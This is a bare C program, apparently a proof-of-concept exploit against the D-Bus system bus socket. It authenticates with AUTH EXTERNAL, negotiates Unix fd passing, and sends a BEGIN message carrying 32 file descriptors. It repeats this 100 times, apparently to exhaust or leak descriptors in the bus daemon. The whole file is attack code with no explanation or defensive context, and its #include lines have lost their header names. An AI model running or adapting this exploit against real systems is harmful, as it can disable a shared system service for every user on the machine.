#include #include #include #include #include #include #include #include #include ssize_t sendwithfds(const int s) { struct msghdr msg = {}; // Zero initialize. struct cmsghdr *cmsg; const size_t n_fds = 32; int myfds[n_fds]; // Array of file descriptors int *fdptr; char iobuf[] = "BEGIN\r\n"; size_t i; for (i = 0; i < n_fds; i++) { myfds[i] = open("/tmp", O_TMPFILE | O_RDWR, S_IRUSR | S_IWUSR); } struct iovec io = {}; io.iov_base = iobuf; io.iov_len = sizeof(iobuf); union { char buf[CMSG_SPACE(sizeof(myfds))]; struct cmsghdr align; } u; msg.msg_iov = &io; msg.msg_iovlen = 1; msg.msg_control = u.buf; msg.msg_controllen = sizeof(u); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; cmsg->cmsg_len = CMSG_LEN(sizeof(myfds)); fdptr = (int *) CMSG_DATA(cmsg); memcpy(&fdptr[0], &myfds[0], sizeof(myfds)); const ssize_t r = sendmsg(s, &msg, 0); if (r < 0) { const int err = errno; fprintf(stderr, "sendmsg failed: %s\n", strerror(err)); } for (i = 0; i < n_fds; i++) { close(myfds[i]); } return r; } size_t write_string(char* buf, size_t pos, const char* str) { const size_t len = strlen(str); memcpy(&buf[pos], str, len); return pos + len; } void sendbuf(const int fd, char* buf, size_t pos, size_t bufsize) { const ssize_t n = write(fd, buf, pos); printf("wrote %ld bytes\n", n); memset(&buf[0], 0, bufsize); const ssize_t r = read(fd, buf, bufsize); printf("%ld: %s\n", r, buf); printf("%x %x\n", buf[r-2], buf[r-1]); } int run(const uid_t uid, const char* filename) { sockaddr_un address; memset(&address, 0, sizeof(address)); address.sun_family = AF_UNIX; strcpy(address.sun_path, filename); const int fd = socket(AF_UNIX, SOCK_STREAM, 0); if (fd < 0) { fprintf(stderr, "could not create socket\n"); return 1; } if (connect(fd, (sockaddr*)(&address), sizeof(address)) < 0) { int err = errno; fprintf(stderr, "could not connect to socket: %s\n", strerror(err)); return 1; } char buf[1024]; size_t pos = 0; buf[pos++] = '\0'; pos = write_string(buf, pos, "AUTH EXTERNAL "); char uidstr[16]; snprintf(uidstr, sizeof(uidstr), "%d", uid); size_t n = strlen(uidstr); for (size_t i = 0; i < n; i++) { char tmp[4]; snprintf(tmp, sizeof(tmp), "%.2x", (int)uidstr[i]); pos = write_string(buf, pos, tmp); } pos = write_string(buf, pos, "\r\n"); sendbuf(fd, buf, pos, sizeof(buf)); pos = write_string(buf, 0, "NEGOTIATE_UNIX_FD\r\n"); sendbuf(fd, buf, pos, sizeof(buf)); pos = write_string(buf, 0, "BEGIN\r\n"); if (write(fd, buf, pos) < 0) { fprintf(stderr, "send failed"); } sendwithfds(fd); close(fd); return 0; } int main(int argc, char* argv[]) { const char* progname = argc > 0 ? argv[0] : "a.out"; if (argc < 2) { fprintf( stderr, "usage: %s \n" "example: %s /var/run/dbus/system_bus_socket\n", progname, progname ); return 1; } uid_t uid = getuid(); const char* filename = argv[1]; for (size_t i = 0; i < 100; i++) { if (run(uid, filename) != 0) { return 1; } } return 0; }